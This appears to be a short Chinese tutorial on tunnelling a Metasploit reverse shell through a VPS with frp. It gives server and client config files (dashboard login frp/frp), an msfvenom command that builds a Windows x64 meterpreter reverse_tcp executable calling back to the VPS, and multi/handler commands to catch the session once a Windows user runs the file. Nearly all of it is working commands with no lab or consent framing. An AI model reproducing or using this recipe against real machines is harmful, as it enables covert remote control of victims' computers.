要实现内网映射,首先需要准备以下工具:
- vps
- kali(一台linux机器)
- frp
- xshell
步骤一
进入vps 修改frps.ini文件 如下
[common]
bind_port = 7000 #供客户端连接的端口
dashboard_port = 7777 #供客户端浏览器访问的frp端口
dashboard_user = frp #浏览器登录用户名
dashboard_pwd = frp # 浏览器登录密码
执行:
./frps -c frps.ini
可在任意浏览器访问:vpsip:7777
步骤二
进入本地kali或其他版本linux主机
配置frpc.ini文件如下
[common]
server_addr = 你的vps地址 #vps主机地址
server_port = 7000 #上述bind_port
[msf] #映射服务名称
type = tcp #服务类型
local_ip = 127.0.0.1 #本地ip
local_port = 4445 #映射本地端口
remote_port = 2333 #远程端口
use_compression = true
设置后:外网主机访问vps的2333相当于访问本地的4445
可添加其他服务的映射
[SSH]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6666
use_compression = true
执行命令:
./frpc -c frpc.ini
步骤三
生成反连木马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=你的vpsIP LPORT=2333 -f exe >kail.exe
本地kali开启msfconsole
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4445
run
总结
- windows系统中双击kali.exe 可以收到反连session
- 所有机器务必保证可以互相ping通